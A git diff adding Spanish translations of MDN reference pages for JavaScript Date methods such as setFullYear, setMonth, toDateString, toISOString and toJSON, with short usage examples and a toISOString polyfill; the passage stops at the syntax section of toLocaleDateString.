+ <dd>
+  Devuelve los milisegundos de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>
+  Devuelve los minutos de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>
+  Devuelve el mes de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>
+  Devuelve los segundos de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>
+  Devuelve el valor numérico correspondiente a la hora especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>
+  Devuelve la diferencia horaria en minutos para la zona geográfica actual.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>
+  Devuelve el día del mes de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>
+  Devuelve el día de la semana de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>
+  Devuelve el día el año de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>
+  Devuelve las horas de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>
+  Devuelve los milisegundos de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>
+  Devuelve los minutos de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>
+  Devuelve el mes de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>
+  Devuelve los segundos de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getYear()")}} {{ deprecated_inline() }}</dt>
+ <dd>
+  Devuelve el año de la fecha especificada según la hora local. Use {{jsxref("Date.prototype.getFullYear()")}} a cambio.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>
+  Establece el día del mes de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>
+  Establece el año completo de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>
+  Establece las horas de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>
+  Establece los milisegundos de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>
+  Establece los minutos de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>
+  Establece el mes de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>
+  Establece los segundos de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>
+  Establece el valor del objeto <code>Date</code> según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>
+  Establece el día del mes de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>
+  Establece el año completo de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>
+  Establece la hora de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>
+  Establece los milisegundos de la fecha especificada según la hora universal..</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>
+  Establece los minutos de la fecha especificada según la hora universal..</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>
+  Establece el mes de la fecha especificada según la hora universal.</dd>
+ <dt>
+  {{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>
+  Establece los segundos de la fecha especificada según la hora universal..</dd>
+ <dt>
+  {{jsxref("Date.prototype.setYear ()")}}{{deprecated_inline}}</dt>
+ <dd>
+  Establece el año de la fecha especificada según la hora local. Use {{jsxref("Date.prototype.setFullYear()")}} a cambio.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toGMTString()")}} {{ deprecated_inline}}</dt>
+ <dd>
+  Convierte una fecha en una cadena, usando las convenciones de Internet GMT. Utilice {{jsxref("Date.prototype.toUTCString()")}} a cambio.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>
+  Convierte una fecha en una cadena, usando las reglas de la localización actual. Sobreescribe el método {{jsxref("Object.toLocaleString()")}}.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>
+  Devuelve la porción fecha (sin la hora) de una fecha como una cadena, usando las reglas de la localización actual.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>
+  Devuelve la porción hora (sin la fecha) de una fecha como una cadena, siguiendo las reglas de la localización actual.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toSource()")}}</dt>
+ <dd>
+  Devuelve un literal que representa al objeto <code>Date</code> especificado; puede usar este valor para crear un nuevo objeto. Sobreescribe el método {{jsxref("Object.toSource()")}}.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>
+  Devuelve una cadena representando el objeto <code>Date</code> especificado. Sobreescribe el método {{jsxref("Object.toString()")}}.</dd>
+ <dt>
+  {{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>
+  Convierte una fecha en una cadena, usando las reglas horarias universales.</dd>
+ <dt>
+  {{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>
+  Devuelve el valor primitivo de un objeto <code>Date</code>. Sobreescribe el método {{jsxref("Object.valueOf()")}}.</dd>
+</dl>
+<p>{{ jsOverrides("Object", "methods", "getDate", "getDay", "getFullYear", "getHours", "getMilliseconds", "getMinutes", "getMonth", "getSeconds", "getTime", "getTimezoneOffset", "getUTCDate", "getUTCDay", "getUTCFullYear", "getUTCHours", "getUTCMilliseconds", "getUTCMinutes", "getUTCMonth", "getUTCSeconds", "getYear", "setdate", "setFullYear", "setHours", "setMilliseconds", "setMinutes", "setMontth", "setSeconds", "setTime", "setUTCDate", "setUTCFullYear", "setUTCHours", "setUTCMilliseconds", "setUTCMinutes", "setUTCMonth", "setUTCSeconds", "setYear", "toDateString", "toGMTString", "toLocaleDateString", "toLocaleFormat", "toLocaleString", "toLocaleTimeString", "toSource", "toString", "toTimeString", "toUTCString", "valueOf") }}</p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/setfullyear/index.html b/files/es/web/javascript/referencia/objetos_globales/date/setfullyear/index.html
new file mode 100644
index 0000000000..e272f78fc3
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/setfullyear/index.html
@@ -0,0 +1,133 @@
+---
+title: Date.prototype.setFullYear()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/setFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>setFullYear()</code></strong> fija el año completo para una fecha específica de acuerdo a la zona horaria local. Devuelve un nuevo valor de tipo timestamp.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setFullYear(<var>valorAño</var>[, <var>valorMes</var>[, <var>valorDia</var>]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valorAño</code></dt>
+ <dd>Valor de tipo entero que contiene el valor numérico del año, por ejemplo, 1995.</dd>
+ <dt><code>valorMes</code></dt>
+ <dd>Opcional. Valor entero entre 0 y 11 que representa el mes de Enero a Diciembre.</dd>
+ <dt><code>valorDia</code></dt>
+ <dd>Opcional. Valor entero entre 1 y 31 que representa el día del mes. Si se especifica este parámetro debe incluirse también el parámetro <code>valorMes</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El número de milisegundos entre 1 Enero 1970 00:00:00 UTC y a la fecha actualizada con el valor del año.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si en la invocación al método no se especifican los parámetros <code>valorMes</code> y <code>valorDia, se emplean en su lugar los valores devueltos por </code> {{jsxref("Date.prototype.getMonth()", "getMonth()")}} y {{jsxref("Date.prototype.getDate()", "getDate()")}}.</p>
+
+<p>Si se especifica un parámetro con un valor fuera del rango esperado,  <code>setFullYear()</code> intenta actualizar el resto de parámetros y la informacion de fecha en el objeto {{jsxref("Date")}} de manera consistente. Por ejemplo, si se especifica el valor 15 para el parametro <code>valorMes</code>, el parámetro año se incrementa en 1  (<code>valorAño+ 1</code>), y se emplea  3 como valor para el parámetro mes.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_setFullYear()">Uso de <code>setFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setFullYear(1997);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/setmonth/index.html b/files/es/web/javascript/referencia/objetos_globales/date/setmonth/index.html
new file mode 100644
index 0000000000..04aa9ec82a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/setmonth/index.html
@@ -0,0 +1,78 @@
+---
+title: Date.prototype.setMonth()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/setMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+---
+<div>{{JSRef}}</div>
+
+<div>El método <strong><code>setMonth()</code></strong> establece el mes para una fecha específica de acuerdo con el año establecido actualmente.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setmonth.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>[,<em>dayValue</em>])</code></pre>
+
+<h3 id="Versiones_anteriores_a_JavaScript_1.3">Versiones anteriores a JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>Un entero entre 0 y 11, representando los meses de Enero a Diciembre.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>Opcional. Un entero de 1 a 31, representando el dia del mes.</dd>
+</dl>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>El valor retornado es el número de milisegundos entre el 1 de Enero de 1970 00:00:00 UTC y la fecha actualizada.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si no especificas el parámetro <code>dayValue</code>, el valor retornado del metodo {{jsxref("Date.prototype.getDate()", "getDate()")}} es usado.</p>
+
+<p>Si un parámetro especificado esta fuera del rango esperado, <code>setMonth()</code> intenta actualizar la información de la fecha en el objeto {{jsxref("Date")}} en consecuencia. Por ejemplo, si usted usa 15 para <code>monthValue</code>, usa 12 para incrementar el año en 1, y los 3 restantes para calcular el mes.</p>
+
+<p>El día actual del mes tendrá un impacto en el comportamiento de este método. Conceptualmente agregará el número de días dados por el día actual del mes al primer día del nuevo mes especificado como parámetro, para devolver la nueva fecha. Por ejemplo, si el valor actual es el 31 de agosto de 2016, llamar a setMonth con un valor de 1 devolverá el 2 de marzo de 2016. Esto se debe a que en febrero de 2016 tuvo 29 días.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_setMonth">Usando <code>setMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMonth(6);
+
+//Cuidado con las transiciones de fin de mes
+var endOfMonth = new Date(2016, 7, 31);
+endOfMonth.setMonth(1);
+console.log(endOfMonth); //Wed Mar 02 2016 00:00:00
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("javascript.builtins.Date.setMonth")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/todatestring/index.html b/files/es/web/javascript/referencia/objetos_globales/date/todatestring/index.html
new file mode 100644
index 0000000000..b0a3b5f431
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/todatestring/index.html
@@ -0,0 +1,88 @@
+---
+title: Date.prototype.toDateString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toDateString
+tags:
+  - Fecha
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toDateString()</code></strong> devuelve la porción de la fecha de un objeto {{jsxref("Date")}} en formato humano legible en Inglés Americano.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toDateString()</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena que representa la porción de fecha de un determinado objeto {{jsxref("Date")}} en formato humano legible en Inglés Americano.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las instancias de {{jsxref("Date")}} representan momentos especificos en el tiempo. Un llamado a {{jsxref("Date.prototype.toString()", "toString()")}} devolverá la fecha formateada en un formato humano legible en Inglés Americano. En <a href="/en-US/docs/SpiderMonkey">SpiderMonkey</a>, esto consiste en la porción de la fecha (día, mes, y año) seguido por la porción de la hora (horas, minutos, segundos, y zona horaria). Algunas veces sólo se necesita obtener una cadena de la porción de la hora; esto puede lograrse con el método <code>toTimeString()</code>.</p>
+
+<p>El método <code>toDateString()</code> es especialmente útil, pues los distintos motores compatibles que implementan <a href="/en-US/docs/ECMAScript">ECMA-262</a> pueden diferir en la cadena obtenida al ejecutar {{jsxref("Date.prototype.toString()", "toString()")}} para los objetos de tipo {{jsxref("Date")}}, pues dicho formato depende de la implementación, por lo que es posible que el enfoque de la segmentación simple de cadenas no produzca resultados consistentes entre distintos motores.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_básico_de_toDateString()">Uso básico de <code>toDateString()</code></h3>
+
+<pre class="brush: js">var d = new Date(1993, 5, 28, 14, 39, 7);
+
+console.log(d.toString());     // logs Wed Jun 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toDateString()); // logs Wed Jun 28 1993
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Los meses son 0-indexados cuando son utilizados como parámetros de {{jsxref("Date")}} (Siendo así, el cero (0) corresponde a Enero y el once (11) a Diciembre).</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Epecificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quisieras contrubuir con esos datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y genera un pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toDateString")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/toisostring/index.html b/files/es/web/javascript/referencia/objetos_globales/date/toisostring/index.html
new file mode 100644
index 0000000000..b3461f355d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/toisostring/index.html
@@ -0,0 +1,144 @@
+---
+title: Date.prototype.toISOString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toISOString
+tags:
+  - Date
+  - JavaScript
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toISOString()</code></strong> devuelve una cadena en el formato <em>simplificado</em> extendido ISO (<a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a>), que siempre mide 24 o 27 caracteres de largo: (<code><var>YYYY</var>-<var>MM</var>-<var>DD</var>T<var>HH</var>:<var>mm</var>:<var>ss.sss</var>Z</code> or <code><var>±</var><var>YYYYYY</var>-<var>MM</var>-<var>DD</var>T<var>HH</var>:<var>mm</var>:<var>ss.sss</var>Z</code>, respectivamente). El uso horario no tiene retraso respecto a UTC, como lo denota el sufijo <code>"Z"</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.toISOString()</code>
+</pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena que representa la fecha dada en el formato <a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a> según la hora universal.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toISOString">Usando <code>toISOString()</code></h3>
+
+<pre class="brush: js notranslate">var today = new Date('05 October 2011 14:48 UTC');
+
+console.log(today.toISOString()); // Devuelve 2011-10-05T14:48:00.000Z
+</pre>
+
+<p>El ejemplo de arriba usa una cadena no estándar que podría no ser interpretada correctamente en navegadores distintos de Firefox.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este método fue estandarizado en ECMA-262 5° edición. Los motores javascript que no han sido actualizados para soportar este método pueden solucionar su ausencia de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">if (!Date.prototype.toISOString) {
+  (function() {
+
+    function pad(number) {
+      if (number &lt; 10) {
+        return '0' + number;
+      }
+      return number;
+    }
+
+    Date.prototype.toISOString = function() {
+      return this.getUTCFullYear() +
+        '-' + pad(this.getUTCMonth() + 1) +
+        '-' + pad(this.getUTCDate()) +
+        'T' + pad(this.getUTCHours()) +
+        ':' + pad(this.getUTCMinutes()) +
+        ':' + pad(this.getUTCSeconds()) +
+        '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
+        'Z';
+    };
+
+  }());
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en javascript 1.8</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/tojson/index.html b/files/es/web/javascript/referencia/objetos_globales/date/tojson/index.html
new file mode 100644
index 0000000000..7d44a716c2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/tojson/index.html
@@ -0,0 +1,61 @@
+---
+title: Date.prototype.toJSON()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toJSON
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+---
+<div>{{JSRef}}</div>
+
+<p>El metodo <strong><code>toJSON()</code></strong> retorna una representacion de cadena del objeto {{jsxref("Date")}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tojson.html")}}</div>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, por favor clone  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envienos un pull request.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.toJSON()</code></pre>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Una representación de cadena de la fecha dada.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>{{jsxref("Date")}} las instancias se refieren a un momento específico en el tiempo. Llamando a <code>toJSON()</code> retorna un string (usando {{jsxref("Date.prototype.toISOString()", "toISOString()")}}) representando el {{jsxref("Date")}} valor del objeto. Este método generalmente está destinado, de forma predeterminada, a serializar de manera útil {{jsxref("Date")}} objetos durante la serialización <a href="/en-US/docs/Glossary/JSON">JSON</a> .</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toJSON">Usando <code>toJSON()</code></h3>
+
+<pre class="brush:js notranslate">var jsonDate = (new Date()).toJSON();
+var backToDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_buscadores">Compatibilidad en buscadores</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos un pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toJSON")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/tolocaledatestring/index.html b/files/es/web/javascript/referencia/objetos_globales/date/tolocaledatestring/index.html
new file mode 100644
index 0000000000..26b773ba9a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/tolocaledatestring/index.html
@@ -0,0 +1,159 @@
+---
+title: Date.prototype.toLocaleDateString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toLocaleDateString
+tags:
+  - Fecha
+  - IANA formato horario
+  - Internacionalizacion
+  - JavaScript
+  - Prototipo
+  - Prototype
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toLocaleDateString()</code></strong> devuelve una cadena con una representación de la fecha sensible al lenguaje. Los nuevos argumentos <code>locales</code> y <code>options</code> permiten a las aplicaciones especificar el lenguaje cuyas convenciones de formato deben usarse y permitir personalizar el comportamiento de la función. En implementaciones anteriores, las cuales ignoran los argumentos <code>locales</code> y <code>options</code>, el configuración regional usada y el formato de cadena devuelto dependen completamente de la implementación.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tolocaledatestring.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo está almacenado en el repositorio de GitHub. Si usted quiere contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción (pull request).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
